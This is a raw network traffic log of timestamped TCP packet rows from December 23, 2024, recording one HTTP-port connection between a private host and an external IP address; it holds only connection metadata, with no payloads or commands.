Dec 23, 2024 08:04:13.478565931 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.479157925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.479248047 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.479288101 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.480014086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.480130911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.480171919 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.497220039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497241020 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497257948 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497311115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497328043 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497343063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497351885 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.497356892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497471094 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.497586966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497644901 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.497946978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497961044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497972965 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.497988939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498004913 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498013020 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.498018026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498034000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498049021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498171091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.498171091 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.498473883 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498619080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498632908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498646021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498657942 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498671055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498683929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498697042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498698950 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.498698950 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.498733044 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.498833895 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.498856068 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.499480009 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499506950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499520063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499532938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499546051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499557972 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499571085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499583960 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499598980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499604940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.499604940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.499604940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.499604940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.499614000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499627113 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.499735117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.499735117 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.500370026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.500384092 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.500396013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.500410080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.500423908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.500427961 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.500436068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.500564098 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.500910997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.500927925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.501075029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.501089096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.501127958 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.501128912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.501240015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.501255035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.501364946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.501468897 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.501501083 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.501625061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.502218008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.502315998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.502377987 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.503062010 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.503073931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.503119946 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.503258944 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.503930092 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.504098892 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.504178047 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.504766941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.504836082 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.504904032 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.505620956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.505738020 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.505776882 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.506473064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.506592989 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.506681919 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.507332087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.507448912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.507503033 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.508191109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.508327007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.508534908 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.509048939 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.509154081 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.509311914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.509893894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.510020971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.510147095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.510746956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.510902882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.510958910 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.511614084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.548836946 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.660115957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.660132885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.660173893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.660187006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.660223007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.660273075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.660274029 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.660290003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.660450935 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.661048889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.661147118 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.661185980 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.661890984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.662173033 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.662344933 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.663304090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.663328886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.663384914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.663590908 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.663711071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.663988113 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.664427996 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.664515018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.664623022 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.665565968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.665730000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.666130066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.666166067 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.666229010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.666335106 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.666991949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.667114973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.667540073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.668111086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.668138027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.668303013 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.668850899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.668865919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.668909073 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.669598103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.669683933 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.669724941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.670692921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.670708895 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.670758009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.671554089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.671569109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.671762943 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.672101021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.672230959 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.672291040 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.673022032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.673064947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.673248053 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.673939943 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.673954964 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.674129009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.674663067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.674777031 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.674823046 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.675131083 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.675554037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.675672054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.675884962 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.676486015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.676594973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.676640987 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.677207947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.677341938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.677568913 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.678214073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.678241968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.678426981 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.679018021 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.679172039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.679385900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.679851055 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.679908037 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.680258989 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.680658102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.680768013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.680835009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.681549072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.681672096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.681709051 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.682404995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.682547092 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.682646990 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.683204889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.683305025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.683448076 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.684094906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.684232950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.684277058 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.684942007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.685132980 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.685194969 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.685791969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.685883999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.686126947 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.686705112 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.686744928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.686827898 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.687357903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.687472105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.687592983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.687874079 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.688337088 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.688431978 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.688536882 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.689192057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.689289093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.689325094 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.690027952 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.690108061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.690231085 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.690923929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.691035986 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.691073895 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.691761971 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.691879988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.692121983 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.693366051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.693382025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.693490028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.693522930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.693553925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.693700075 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.694343090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.694422007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.694474936 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.695311069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.695506096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.695703030 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.696182966 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.696197987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.696238995 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.696883917 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.696988106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.697101116 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.697738886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.697868109 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.698101997 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.699500084 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.699673891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.699719906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.699733019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.699778080 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.699778080 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.700289011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.700398922 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.700607061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.701164007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.701502085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.701746941 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.702236891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.702387094 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.702627897 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.702893019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.703031063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.703131914 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.703699112 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.724493027 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.738068104 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.851747990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.851860046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.851993084 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.852220058 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.852313995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.852384090 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.853018999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.853121042 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.853240967 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.853899002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.853964090 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.854038000 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.854756117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.854816914 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.855036974 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.855676889 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.855917931 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.855987072 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.856484890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.856627941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.856761932 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.857316017 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.857430935 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.857547998 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.858160973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.858237028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.858361006 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.859045029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.859082937 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.859204054 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.859886885 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.860030890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.860138893 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.860723972 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.860852957 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.860945940 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.861577034 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.861695051 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.861763954 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.862526894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.862647057 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.862740993 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.863298893 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.863432884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.863595009 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.864142895 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.864279032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.864414930 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.865092993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.865183115 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.865288973 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.865878105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.865994930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.866117954 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.866693974 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.866817951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.867475986 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.867561102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.867695093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 08:04:13.867736101 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 08:04:13.868412971 CET	80	49716	185.215.113.16	192.168.2.8
